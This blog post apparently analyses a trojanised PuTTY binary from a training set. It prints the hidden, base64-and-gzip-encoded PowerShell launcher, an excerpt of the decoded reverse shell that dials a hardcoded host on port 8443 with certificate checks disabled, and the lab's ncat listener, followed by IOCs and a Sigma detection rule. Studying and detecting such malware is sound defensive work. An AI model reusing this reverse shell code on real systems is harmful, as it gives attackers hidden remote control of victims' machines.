Why a trojanised utility is harder to catch than a malicious one, and what actually gives it away
Vasilis Mantas, Threat Detection Engineer
Verdict: A functioning copy of PuTTY, modified to launch a hidden PowerShell process one second after the SSH client opens. The PowerShell command is base64 encoded and gzip compressed. Decoded, it is a reverse shell that connects over TLS to
bonus2.corporatebonusapplication.localon port 8443. The SSH client works normally throughout, which is the entire point.
The two samples I wrote up previously announced themselves. One deleted itself. The other encrypted the filesystem and put a ransom note on the desktop. This one does neither. It opens PuTTY, you SSH into whatever you were going to SSH into, and nothing appears to be wrong.
That difference matters more than the technical sophistication, which is honestly not high. The payload here is a fairly standard PowerShell reverse shell of the kind that has been circulating for years. What makes it worth writing about is the delivery: a legitimate tool that still does its job, aimed at people who install SSH clients, which is to say administrators.
As with the previous write-ups, this sample comes from a training set rather than a live incident.
Sample details
| Property | Value |
|---|---|
| MD5 | 334a10500feb0f3444bf2e86ab2e76da |
| SHA-256 | 0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83 |
| Imphash | 19C1DC3E60E2ECFC2C977BCB2019BBEF |
| File size | 1,545,216 bytes (1.47 MB) |
| Architecture | 32-bit, GUI subsystem |
| Compiler timestamp | 10 July 2021, 09:51:55 UTC |
| Entropy | 7.394 |
| VirusTotal | 50 / 68 vendors flagged at time of analysis |
| Lab | FlareVM (detonation), REMnux (network simulation) |
Basic static analysis
Hashes first, then VirusTotal. Fifty of sixty-eight engines flagged the file, which settles the question of whether it is worth looking at, though not much else.
FLOSS produced a lot of output and very little signal. Over 41,000 strings, dominated by ordinary Windows API calls. There was nothing resembling a C2 address, no obvious command line, no encoded blob sitting in the clear. I spent longer on this than I should have before accepting that the interesting part was not going to be in the strings.
PEStudio was more useful, mostly because of what it did not find.
The manifest identity reads PuTTY. The version resource names Simon Tatham. There is a URL pattern pointing to https://www.chiark.greenend.org.uk/~sgtatham/putty/, which is the genuine PuTTY homepage. Everything about the file's identity says it is PuTTY, and that is because most of it is.
A few things stood out anyway:
| Indicator | Detail |
|---|---|
| Entropy | 7.394, high enough to suggest compressed or packed data somewhere in the file |
| Writable and executable section | 1 |
| Embedded file | Compiled HTML in .rsrc, offset 0x00121F43, size 3,255 bytes |
| Checksum | Invalid. Expected 0x00180BA0
|
| Blacklisted strings | 160 |
| Blacklisted functions | 50 |
The invalid checksum is the one I would call out to a junior analyst. A legitimately built and signed PuTTY release has a valid PE checksum. This one does not, because somebody modified the binary after it was compiled and did not bother to recalculate it. On its own that proves tampering, not malice, but combined with high entropy in a file this size it is enough to justify detonating.
At this point the working hypothesis was simply that the file had been altered. I had no idea how yet.
Dynamic analysis
The first detonation looked completely uneventful. PuTTY launched, the familiar configuration window appeared, and the application behaved exactly as expected. If I had run it once and moved on, I would have called it clean.
On the third or fourth run I noticed a blue window flicker into existence and vanish, roughly a second after PuTTY started. It was on screen for a fraction of a second. This is worth dwelling on: the detection here came from running the sample repeatedly and watching the screen, not from any tool. Automated sandboxing would have caught the process creation, but a human clicking through once might not have caught anything at all.
Procmon confirmed it. Filtering on process name contains putty gave me PuTTY's PID, and filtering again on ParentPID is <that PID> showed the child:
powershell.exe Process Start SUCCESS Parent PID: 8096
powershell.exe Load Image C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PuTTY is an SSH client. It has no legitimate reason to spawn PowerShell, ever. That single parent and child relationship is the whole detection story, and I will come back to it.
The command line was the payload:
powershell.exe -nop -w hidden -noni -ep bypass
"&([scriptblock]::create((New-Object System.IO.StreamReader(
New-Object System.IO.Compression.GzipStream(
New-Object System.IO.MemoryStream(,$([Convert]::FromBase64String('H4sIAOW...
Four flags before anything else happens. No profile, hidden window, no interactive prompt, execution policy bypassed. Each has a plausible individual use. Together, in one command line, they describe something that does not want to be seen or logged in the usual way.
The structure that follows is base64 wrapped around gzip wrapped around a script block. The nesting is not clever, but it does mean the actual payload never appears as readable text in the process command line, which is where a lot of logging stops looking.
Decoding the payload
Copying the base64 blob to REMnux and decoding it:
echo "H4sIAOW/UWECA51W227jNhB991cMHUtIRbhdbAESLepVsGyD..." | base64 -d > out
The result was a gzip archive, which extracted to a plain text PowerShell script. H4sI at the start of a base64 string is the gzip magic number and is a reliable tell once you have seen it a few times.
The script defines a function called powerfun:
function powerfun {
Param(
[String]$Command,
[String]$Sslcon,
[String]$Download
)
Process {
$modules = @()
if ($Command -eq "bind") {
$listener = [System.Net.Sockets.TcpListener]8443
$listener.start()
$client = $listener.AcceptTcpClient()
}
if ($Command -eq "reverse") {
$client = New-Object System.Net.Sockets.TCPClient(
"bonus2.corporatebonusapplication.local", 8443)
}
$stream = $client.GetStream()
if ($Sslcon -eq "true") {
$sslStream = New-Object System.Net.Security.SslStream(
$stream, $false, ({$True} -as [Net.Security.RemoteCertificateValidationCallback]))
$sslStream.AuthenticateAsClient(
"bonus2.corporatebonusapplication.local")
$stream = $sslStream
}
It supports both directions. In bind mode it listens on 8443 and waits for someone to connect. In reverse mode it dials out to a hardcoded host on the same port. Reverse is the mode that matters in a corporate network, since outbound connections generally succeed where inbound ones do not.
The certificate validation callback is set to return true unconditionally. The channel is encrypted, but the client will accept any certificate at all, including a self-signed one generated on the attacker's machine that morning. That is a deliberate choice: TLS here is for hiding the traffic from inspection, not for authenticating anything.
One detail I like about the hostname. bonus2.corporatebonusapplication.local is not random-looking, and it is not trying to impersonate Microsoft or Google. It sounds like exactly the sort of dull internal application nobody questions. An analyst scanning a proxy log for suspicious domains is looking for something that stands out, and this does not.
Confirming the network behaviour
With REMnux running inetsim as a fake DNS resolver, Wireshark showed the DNS query for bonus2.corporatebonusapplication.local, followed immediately by a TCP connection attempt to port 8443. The connection was reset, since nothing was actually listening.
To see what the shell would send, I added the hostname to the Windows hosts file pointing at 127.0.0.1 and started a listener:
ncat -nvlp 8443
The connection came in from 127.0.0.1:1052. The output was mostly unreadable binary, which is expected: this is the raw TLS Client Hello arriving at a plain TCP listener that does not speak TLS. Wireshark confirmed it as TLSv1.2 Client Hello.
The handshake never completed, because I had no certificate to present. Fragments of readable text did come through, including the hostname and the string whoami, which suggests the operator side sends an initial command as soon as the session opens.
I could have gone further here by generating a self-signed certificate and using openssl s_server or ncat --ssl to complete the handshake and capture the full session. I did not, and I would do that differently next time. The behaviour was established well enough to write detections against, but seeing the actual command sequence would have been more useful.
Indicators of compromise
| Type | Indicator |
|---|---|
| SHA-256 | 0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83 |
| MD5 | 334a10500feb0f3444bf2e86ab2e76da |
| Imphash | 19C1DC3E60E2ECFC2C977BCB2019BBEF |
| Domain | bonus2.corporatebonusapplication.local |
| Port | TCP 8443, TLS with certificate validation disabled |
| Process ancestry |
putty.exe spawning powershell.exe
|
| Command line |
-nop -w hidden -noni -ep bypass with FromBase64String and GzipStream
|
| PE anomaly | Invalid checksum on a file identifying itself as PuTTY |
MITRE ATT&CK mapping
| Tactic | Technique |
|---|---|
| Initial Access | T1195.002, Supply Chain Compromise: Compromise Software Supply Chain |
| Execution | T1204.002, User Execution: Malicious File |
| Execution | T1059.001, Command and Scripting Interpreter: PowerShell |
| Defense Evasion | T1036.005, Masquerading: Match Legitimate Name or Location |
| Defense Evasion | T1027, Obfuscated Files or Information |
| Defense Evasion | T1140, Deobfuscate or Decode Files or Information |
| Command and Control | T1573.002, Encrypted Channel: Asymmetric Cryptography |
| Command and Control | T1571, Non-Standard Port |
Detection guidance
The hash is worthless the moment someone recompiles. The domain is worthless the moment it is published. Here is what survives.
Process ancestry is the strongest signal by a wide margin. A GUI application spawning a command interpreter is anomalous in almost every case. PuTTY specifically has no legitimate reason to do it. You do not need to understand anything about the payload to catch this.
title: SSH or Remote Access Client Spawning PowerShell
status: experimental
logsource:
category: process_creation
product: windows
detection:
parent:
ParentImage|endswith:
- '\putty.exe'
- '\kitty.exe'
- '\winscp.exe'
- '\mobaxterm.exe'
child:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- '\cmd.exe'
- '\wscript.exe'
condition: parent and child
falsepositives:
- Rare. Investigate every hit.
level: high
Keep the parent list short and specific. The temptation is to expand it to every application on the estate, at which point the rule becomes a general anomaly detector and starts producing noise you will eventually mute.
Encoded PowerShell in a command line. The combination of FromBase64String with GzipStream or DeflateStream is a strong pattern. Legitimate administrative scripting does occasionally base64 encode arguments, but it rarely also compresses them. Requiring both cuts the false positive rate substantially.
Suppressed PowerShell execution flags. Alert on -nop together with -w hidden and -ep bypass appearing in one command line. Any one alone is common. All three together is close to diagnostic, though some legitimate deployment tooling does use them, so check your own estate before enabling this in production.
Outbound TLS to 8443 from an unexpected process. Port 8443 has legitimate uses, so do not alert on the port alone. Alert when the initiating process is a scripting host rather than a browser or a known application.
PE checksum validation on portable utilities. This one is less common but worth considering if you have the telemetry. Administrators download standalone tools constantly, and a mismatch between a file's declared identity and its structural integrity is a cheap thing to check.
All of the above needs testing against your own data before it goes anywhere near production. My false positive assumptions come from the environments I have worked in, not yours.
What I would take from this one
The delivery mechanism was more interesting than the payload, and I think that is generally true of trojanised utilities. Anyone can find a PowerShell reverse shell. Getting an administrator to run it voluntarily, repeatedly, with a working SSH client as cover, is the harder problem, and this sample solves it neatly.
Repeated detonation caught what a single run missed. The PowerShell window was visible for well under a second. That is a genuine argument for detonating several times and watching, rather than executing once and going straight to the logs.
The strings told me almost nothing, and that was itself informative. Over 41,000 strings and no payload visible in any of them meant the malicious component had to be encoded or compressed somewhere. The absence pointed at the answer, just not quickly.
Finally, the sample identified itself as PuTTY in every field an analyst would normally check, and it was telling the truth about most of them. Provenance checks that rely on metadata are weak against this. The checksum and the process behaviour are what actually gave it away.
Written by Vasilis Mantas, Senior Threat Detection Engineer. Analysis performed in an isolated lab using FlareVM, REMnux, FLOSS, PEStudio, Procmon, Wireshark and ncat.
Top comments (0)